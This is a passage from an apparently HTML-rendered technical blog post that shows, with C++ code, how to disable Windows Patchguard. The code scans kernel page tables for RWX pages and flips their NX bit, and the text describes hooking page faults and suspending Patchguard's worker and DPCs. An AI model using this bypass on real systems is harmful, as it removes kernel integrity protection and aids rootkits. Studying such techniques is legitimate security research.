&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;32&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;33&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;What this means is that, if we exclude the pages that are used for actual kernel images, and filter for RWX memory, what we end up is a very small subset of allocations, most likely either Patchguard or some rootkit you sadly have on your system.&lt;/p&gt;
&lt;h2 id="0x2-gc"&gt;&lt;span class="hx"&gt;0x2:&lt;/span&gt; GC&lt;/h2&gt;
&lt;p&gt;Big corporation might not like the fact that you really have the same privileges as their OS on your own machine, but (for the next few years at least) you do. So let&amp;rsquo;s just do a little garbage collection of our own and mark these pages no-execute.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-cpp" data-lang="cpp"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;scheduler&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;call_ipi&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="k"&gt;auto&lt;/span&gt; &lt;span class="n"&gt;barrier&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;barrier&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;up&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Determine the range we scan.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;//
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;auto&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;range_min&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;range_max&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;get_range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;range_per_cpu&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Iterate all top level page table entires in kernel address space.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;//
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;size_t&lt;/span&gt; &lt;span class="n"&gt;ipxe&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;ipxe&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;512&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;ipxe&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// If ignored region, skip.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;//
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;mem&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;get_pxi_flags&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;ipxe&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;ignored_pxi_flags&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;continue&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;auto&lt;/span&gt; &lt;span class="n"&gt;rec&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="k"&gt;auto&lt;/span&gt; &lt;span class="n"&gt;N&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="k"&gt;auto&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="n"&gt;va&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;const_tag&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;N&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;size_t&lt;/span&gt; &lt;span class="n"&gt;imin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;size_t&lt;/span&gt; &lt;span class="n"&gt;imax&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;auto&lt;/span&gt; &lt;span class="n"&gt;pte&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;mem&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;get_pte&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;va&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;N&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Skip if not present.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;//
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;pte&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;present&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// If we did not reach the bottom level:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;//
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;constexpr&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;N&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// If directory:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;29&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;//
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;30&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;pte&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;large_page&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;31&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Iterate all pt entries:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;32&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;//
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;33&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;size_t&lt;/span&gt; &lt;span class="n"&gt;ipte&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;imin&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;ipte&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="n"&gt;imax&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;ipte&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;34&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;va&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;ipte&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="mi"&gt;12&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;9&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;N&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;const_tag&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;N&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;{},&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;512&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;35&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;36&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;37&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// If large page, skip if too large to be considered.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;38&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;//
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;39&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="k"&gt;constexpr&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;N&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;40&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;41&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;42&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Fallthrough to page handling.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;43&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;44&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;45&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Skip if not RWX.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;46&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;//
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;47&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;pte&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;write&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="n"&gt;pte&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;execute_disable&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;48&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;49&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;50&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Skip if user-mode memory mapped to kernel.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;51&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;//
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;52&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;is_kernel_va&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;mem&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;get_virtual_address&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;pte&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;page_frame_number&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;12&lt;/span&gt; &lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="nb"&gt;true&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;53&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;54&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;55&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Disable execution.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;56&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;//
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;57&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;atomic_bit_set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;pte&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;flags&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;PT_ENTRY_64_EXECUTE_DISABLE_BIT&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;58&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;59&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;rec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;rec&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;mem&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;make_cannonical&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;ipxe&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;mem&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;va_bits&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;9&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;const_tag&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;mem&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;page_table_depth&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;{},&lt;/span&gt; &lt;span class="n"&gt;range_min&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;range_max&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;60&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;61&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;62&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Flush the TLB and return.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;63&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;//
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;64&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;barrier&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;down&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;65&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;ia32&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;flush_tlb&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;66&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This code more or less comes down to:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Launch an IPI since we don&amp;rsquo;t want to race with the rest of the OS.&lt;/li&gt;
&lt;li&gt;Iterate all the kernel pages (indices 0x100 to 0x1ff).&lt;/li&gt;
&lt;li&gt;Skip the ones that could not have Patchguard, I&amp;rsquo;d recommend skipping SessionSpace, ProcessSpace, DriverImages, PagedPool and most importantly the Self-referencing index unless you want to triple fault.&lt;/li&gt;
&lt;li&gt;Skip the pages that are no-execute, write disabled or not present.&lt;/li&gt;
&lt;li&gt;Go ahead and flip the NX bit.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If this all goes right, you will bluescreen in two to three minutes, which is when the Patchguard would have decrypted itself and tried to run. &lt;code&gt;ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY&lt;/code&gt; Hurray?&lt;/p&gt;
&lt;h2 id="0x3-healing-back-our-os"&gt;&lt;span class="hx"&gt;0x3:&lt;/span&gt; Healing back our OS&lt;/h2&gt;
&lt;p&gt;We now need a hook on #PF. Remember, there is no Patchguard anymore so our job is very straight forward. You can switch the IDT and add your own page fault handler, inline hook MmAccessFault, whichever method you&amp;rsquo;d like, as long you do it quickly and right before our IPI.&lt;/p&gt;
&lt;p&gt;The final step, even with zero prior knowledge on how Patchguard works is suprisingly simple. Just let it bluescreen a few times and look at the dump! You will notice that there is a few DPCs, all of which start with an XOR instruction and a worker at PASSIVE_LEVEL. The worker, we will suspend forever, and the DPC ones, well just return to whoever is calling without doing anything.&lt;/p&gt;
&lt;p&gt;That was pretty much it. The entire source code comes down to essentially 200 lines and there is no more Patchguard.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-cpp" data-lang="cpp"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="k"&gt;constexpr&lt;/span&gt; &lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;pgc_debug&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;is_debug_build&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="k"&gt;constexpr&lt;/span&gt; &lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;pgc_disable_timer_dispatch&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="k"&gt;constexpr&lt;/span&gt; &lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;pgc_disable_dpc_dispatch&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
